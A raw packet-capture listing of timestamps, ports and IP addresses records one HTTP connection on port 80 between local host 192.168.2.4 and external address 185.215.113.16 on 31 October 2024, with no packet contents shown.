Oct 31, 2024 04:16:10.301964045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.301974058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.301990032 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.301990986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302006006 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302011967 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302027941 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302042007 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302233934 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302254915 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302280903 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302284956 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302294016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302314043 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302316904 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302339077 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302350998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302364111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302373886 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302376986 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302398920 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302409887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302412987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302440882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302450895 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302455902 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302470922 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302484035 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302484035 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302484989 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302505970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302526951 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302536011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302551031 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302568913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302577972 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302591085 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302611113 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302612066 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302645922 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302649975 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302660942 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302675009 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302683115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302695990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302707911 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302707911 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302723885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302745104 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302756071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302757978 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302771091 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302798033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302803993 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302817106 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302819967 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302839994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302844048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302855015 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302866936 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302882910 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302887917 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302896976 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302903891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302906036 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302937984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.302939892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302957058 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302970886 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.302977085 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303000927 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303009033 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303087950 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303102970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303117037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303133011 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303155899 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303175926 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303199053 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303215027 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303220987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303246975 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303246975 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303248882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303266048 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303288937 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303304911 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303311110 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303328991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303344011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303344965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303365946 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303375006 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303376913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303392887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303416014 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303420067 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303436041 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303436995 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303451061 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303455114 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303474903 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303484917 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303510904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303525925 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303541899 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303555965 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303558111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303564072 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303574085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303596020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303596020 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303603888 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303653002 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303668022 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303680897 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303695917 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303698063 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303706884 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303714991 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303725958 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303738117 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303750992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303755999 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303783894 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303787947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303798914 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.303822994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.303832054 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347565889 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347580910 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347598076 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347626925 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347632885 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347649097 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347657919 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347665071 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347665071 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347690105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347704887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347707987 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347721100 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347735882 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347740889 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347757101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347769976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347769976 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347784996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347795010 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347804070 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347822905 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347831011 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347832918 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347848892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347866058 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347881079 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347883940 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347922087 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347923040 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347939968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347954035 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.347964048 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347971916 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.347985983 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348062992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348087072 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348100901 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348104000 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348124027 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348131895 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348208904 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348227024 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348234892 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348256111 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348263979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348284960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348289013 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348308086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348311901 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348324060 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348328114 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348350048 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348365068 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348375082 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348381996 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348409891 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348413944 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348424911 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348436117 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348442078 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348474026 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348488092 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348503113 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348516941 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348526001 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348540068 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348546028 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348572016 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348587036 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348602057 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348608017 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348618984 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348628044 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348647118 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348655939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348663092 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348664045 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348702908 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348737955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348756075 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348783970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348783970 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348799944 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348799944 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348818064 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348819971 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348839045 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348839998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348858118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348858118 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348880053 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348891973 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348896027 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348913908 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348938942 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348942041 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348942041 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348956108 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348969936 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.348970890 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348988056 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.348994017 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349018097 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349044085 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349057913 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349072933 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349073887 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349073887 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349088907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349106073 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349131107 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349133968 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349155903 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349178076 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349178076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349184990 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349193096 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349215984 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349225044 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349230051 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349241972 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349256992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349270105 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349291086 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349298954 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349307060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349323034 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349337101 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349347115 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349351883 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349380016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349380016 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349389076 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349396944 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349412918 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349427938 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349457026 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349457979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349457979 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349467993 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349472046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349483967 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349488020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349509001 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349512100 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349528074 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349538088 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349685907 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349699020 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349729061 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349730968 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349751949 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349766970 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349771023 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349786997 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349793911 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349802971 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349818945 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349822998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349843025 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349849939 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349858046 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349879026 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349890947 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349894047 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349910975 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349926949 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349929094 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349941969 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.349942923 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349958897 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349980116 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.349996090 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350011110 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350028992 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350032091 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350050926 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350056887 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350070953 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350075960 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350086927 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350100994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350100994 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350106955 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350125074 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350142956 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350166082 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350171089 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350178957 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350203037 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350208998 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350230932 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350255966 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350256920 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350274086 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350290060 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350294113 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350305080 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350306988 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350322008 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350326061 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350334883 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350362062 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350400925 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350415945 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350430965 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350438118 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350446939 CET	80	49814	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:10.350464106 CET	49814	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:10.350464106 CET	49814	80	192.168.2.4	185.215.113.16
